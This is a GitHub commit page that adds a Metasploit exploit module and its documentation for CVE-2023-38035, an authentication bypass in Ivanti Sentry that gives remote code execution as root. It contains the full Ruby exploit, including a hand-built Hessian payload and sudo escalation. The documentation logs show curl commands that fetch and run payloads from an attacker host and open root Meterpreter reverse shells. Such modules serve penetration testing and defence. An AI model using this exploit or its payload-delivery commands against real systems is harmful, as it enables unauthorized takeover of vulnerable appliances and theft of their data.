-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18330, Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (
- Loading branch information
Showing
2 changed files
with
263 additions
and
0 deletions.
There are no files selected for viewing
129 changes: 129 additions & 0 deletions
129
documentation/modules/exploit/linux/http/ivanti_sentry_misc_log_service.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,129 @@ | ||
## Vulnerable Application | ||
Ivanti Sentry (formerly Mobileiron Sentry) is vulnerable to an authentication by-pass which exposes API functionality which | ||
allows for code execution in the context of the root user. The vulnerable endpoint `/mics/services/MICSLogService` exposes | ||
a binary web service protocol 'Hessian' which allows remote users to invoke functions within the target. One of the functions | ||
accessible via Hessian and the vulnerable endpoint is `uploadFileUsingFileInput` which accepts a `command` argument | ||
that gets directly fed into a `Runtime.getRuntime().exec(cmd)` call. The command is run in the context of the `tomcat2` | ||
user however by default `tomcat2` is able to execute commands with sudo thus we can use this to execute the payload in the context | ||
of the `root` user. | ||
|
||
|
||
## Verification Steps | ||
1. Start `msfconsole` | ||
1. Do: `use exploit/linux/http/ivanti_sentry_misc_log_service` | ||
1. Do: `set RHOST [IP]` | ||
1. Do: `set FETCH_SRVHOST [IP]` | ||
1. Do: `set LHOST [IP]` | ||
1. Do: `exploit` | ||
|
||
|
||
### Installation | ||
A vulnerable instance of the software can be downloaded with the following | ||
[link](https://mobileironsentry.blob.core.windows.net/mobileironsentrycontainer/sentry-mobileiron-9.12.0-16.vhd) | ||
(note the .vhd file is ~34 GB). Once downloaded, import the file into your favorite hypervisor to run the software. | ||
VMware Fusion 12 with the Sentry VM configured with a bridged network adapter worked best for testing. The .vhd file is | ||
configured to run with 256MB of RAM and 1 CPU. When first booted the VM appears to hang with the following message displayed: | ||
``` | ||
Probing EDD (edd=off) ... | ||
``` | ||
By increasing the RAM to somewhere around 8GB and providing more than 1 CPU core the `Probing EDD (edd=off) ...` message | ||
goes away after a couple of seconds and the `EULA` should appear and Sentry configuration will begin. | ||
Inputting defaults for everything should be satisfactory. | ||
|
||
Once finished with the configuration input `show ip route` to get the IP address of the machine. Before running the module | ||
check to ensure the MICS service is up and running by navigating to `https://<ip-address>:8443/` in a browser. If there | ||
is no response, try restarting the VM - this is a | ||
[known issue](https://forums.ivanti.com/s/question/0D54O00006zkSs0SAE/unable-to-contact-mics-service?language=en_US) | ||
that rebooting the VM can resolve. | ||
|
||
## Options | ||
|
||
### SLEEP | ||
Because the execution context does not allow for command piping or chaining we need to split the multi command payload | ||
by semi-colon and send each command individually. This delay specifies how long to wait for each command to run. | ||
|
||
### USE_SUDO | ||
The command is executed in the context of the `tomcat2` user. By default the `tomcat2` user has the ability to execute | ||
commands with `sudo`. In the event Sentry is installed on an OS that doesn't have the `sudo` binary, this has been left | ||
has a configurable option in case it needs to be disabled. | ||
|
||
## Scenarios | ||
|
||
### MobileIron Sentry 9.12.0-16 (Unix In Memory) | ||
``` | ||
msf6 > use linux/http/ivanti_sentry_misc_log_service | ||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.87 | ||
rhosts => 192.168.1.87 | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 | ||
lhost => 192.168.1.72 | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 | ||
fetch_srvhost => 192.168.1.72 | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > run | ||
[*] Command to run on remote host: curl -so /tmp/VuQctuYoROm http://192.168.1.72:8080/_acSmp3HzcREnJ2MMRBPoQ; chmod +x /tmp/VuQctuYoROm; /tmp/VuQctuYoROm & | ||
[*] Fetch Handler listening on 192.168.1.72:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /_acSmp3HzcREnJ2MMRBPoQ | ||
[*] Started reverse TCP handler on 192.168.1.72:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] Executing Unix (In-Memory) for cmd/linux/http/x64/meterpreter_reverse_tcp | ||
[*] Running the command: sudo sh -c $@|sh . echo curl -so /tmp/VuQctuYoROm http://192.168.1.72:8080/_acSmp3HzcREnJ2MMRBPoQ; chmod +x /tmp/VuQctuYoROm; /tmp/VuQctuYoROm & | ||
[*] Client 192.168.1.87 requested /_acSmp3HzcREnJ2MMRBPoQ | ||
[*] Sending payload to 192.168.1.87 (curl/7.29.0) | ||
[*] Meterpreter session 4 opened (192.168.1.72:4444 -> 192.168.1.87:46828) at 2023-09-12 14:51:44 -0400 | ||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : CentOS 7.8.2003 (Linux 3.10.0-1160.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > exit | ||
``` | ||
|
||
### MobileIron Sentry 9.12.0-19 (Linux Dropper) | ||
|
||
``` | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.87 | ||
rhosts => 192.168.1.87 | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72 | ||
lhost => 192.168.1.72 | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72 | ||
fetch_srvhost => 192.168.1.72 | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > run | ||
[*] Started reverse TCP handler on 192.168.1.72:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp | ||
[*] Using URL: http://192.168.1.72:8080/p1EzQTA94FH | ||
[*] Generated command stager: ["curl -so /tmp/zzEjCUHC http://192.168.1.72:8080/p1EzQTA94FH;chmod +x /tmp/zzEjCUHC;/tmp/zzEjCUHC;rm -f /tmp/zzEjCUHC"] | ||
[*] Running the command: sudo sh -c $@|sh . echo curl -so /tmp/zzEjCUHC http://192.168.1.72:8080/p1EzQTA94FH;chmod +x /tmp/zzEjCUHC;/tmp/zzEjCUHC;rm -f /tmp/zzEjCUHC | ||
[*] Client 192.168.1.87 (curl/7.29.0) requested /p1EzQTA94FH | ||
[*] Sending payload to 192.168.1.87 (curl/7.29.0) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 192.168.1.87 | ||
[*] Command Stager progress - 100.00% done (116/116 bytes) | ||
[*] Meterpreter session 5 opened (192.168.1.72:4444 -> 192.168.1.87:46874) at 2023-09-12 15:04:40 -0400 | ||
[*] Server stopped. | ||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : CentOS 7.8.2003 (Linux 3.10.0-1160.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` | ||
|
||
|
134 changes: 134 additions & 0 deletions
134
modules/exploits/linux/http/ivanti_sentry_misc_log_service.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035)', | ||
'Description' => %q{ | ||
This module exploits an authentication bypass in Ivanti Sentry which exposes API functionality which | ||
allows for code execution in the context of the root user. | ||
}, | ||
'Author' => [ | ||
'Zach Hanley', # Analysis & PoC | ||
'James Horseman', # Analysis & PoC | ||
'jheysel-r7' # Msf module | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-38035'], | ||
[ 'URL', 'https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/'], | ||
[ 'CVE', '2023-38035'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'DefaultOptions' => { | ||
'RPORT' => 8443, | ||
'SSL' => true, | ||
'FETCH_WRITABLE_DIR' => '/tmp' | ||
}, | ||
'Platform' => ['unix', 'linux'], | ||
'Privileged' => false, | ||
'Arch' => [ ARCH_CMD, ARCH_X64 ], | ||
'Targets' => [ | ||
[ | ||
'Unix (In-Memory)', | ||
{ | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => ARCH_CMD, | ||
'Type' => :unix_cmd, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' | ||
} | ||
} | ||
], | ||
[ | ||
'Linux Dropper', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Type' => :linux_dropper, | ||
'DefaultOptions' => { | ||
'CMDSTAGER::FLAVOR' => :curl, | ||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' | ||
} | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2023-08-21', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ], | ||
'Reliability' => [ REPEATABLE_SESSION ] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptBool.new('USE_SUDO', [true, 'Execute payload as root using sudo', true]), | ||
OptInt.new('SLEEP', [true, 'How long to wait for each command to run. Because the execution context does not allow for command piping or chaining the module needs to split the multi command payload by semi-colon and send each command individually', 3 ]), | ||
] | ||
) | ||
end | ||
|
||
def check | ||
# Unauthenticated access to the vulnerable endpoint was removed in patched versions of Sentry. | ||
# Send an unsupported GET request and see if it responds politely. | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, '/mics/services/MICSLogService'), | ||
'method' => 'GET' | ||
) | ||
|
||
return Exploit::CheckCode::Unknown('The target did not respond to the vulnerable endpoint') unless res | ||
return Exploit::CheckCode::Safe("A vulnerable instance should respond with an HTTP 405 with the string: 'HessianServiceExporter only supports POST requests' in the response body") unless res.code == 405 && res.body.include?('HessianServiceExporter only supports POST requests') | ||
|
||
Exploit::CheckCode::Appears | ||
end | ||
|
||
def execute_command(cmd, _opts = {}) | ||
# Below is the Hessian binary web service protocol wrapper required to invoke the function `uploadFileUsingFileInput` | ||
# which allows for unauthenticated command execution in the context of the root user. | ||
# More info on Hessian: http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers | ||
|
||
exploit_header = "c\x01\x00m\x00\x18uploadFileUsingFileInputMS\x00\x07commandS\x00" | ||
exploit_footer = "S\x00\x06isRootTzNz" | ||
|
||
# The sink in this RCE is java's Runtime.getRuntime.exec(). So we must prefix our command with 'sh -c $@|sh .echo' | ||
# in order to obtain full shell functionality, more info: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html | ||
cmd = "sh -c $@|sh . echo #{cmd}" | ||
cmd = "sudo #{cmd}" if datastore['USE_SUDO'] | ||
|
||
vprint_status('Running the command: ' + cmd) | ||
|
||
# Prepend the command with the length of the command as per Hessian notation | ||
data = exploit_header + [cmd.length].pack('C') + cmd + exploit_footer | ||
res = send_request_raw( | ||
'uri' => normalize_uri(target_uri.path, '/mics/services/MICSLogService'), | ||
'method' => 'POST', | ||
'data' => data | ||
) | ||
|
||
fail_with(Failure::Unreachable, 'The target did not respond to the exploit attempt') unless res | ||
fail_with(Failure::UnexpectedReply, "The response from a successful exploit attempt should be a HTTP 200 with 'isRunning' in the response body.") unless res.code == 200 && res.body.include?('isRunning') | ||
end | ||
|
||
def exploit | ||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") | ||
case target['Type'] | ||
when :unix_cmd | ||
execute_command(payload.encoded) | ||
when :linux_dropper | ||
execute_cmdstager | ||
end | ||
end | ||
end |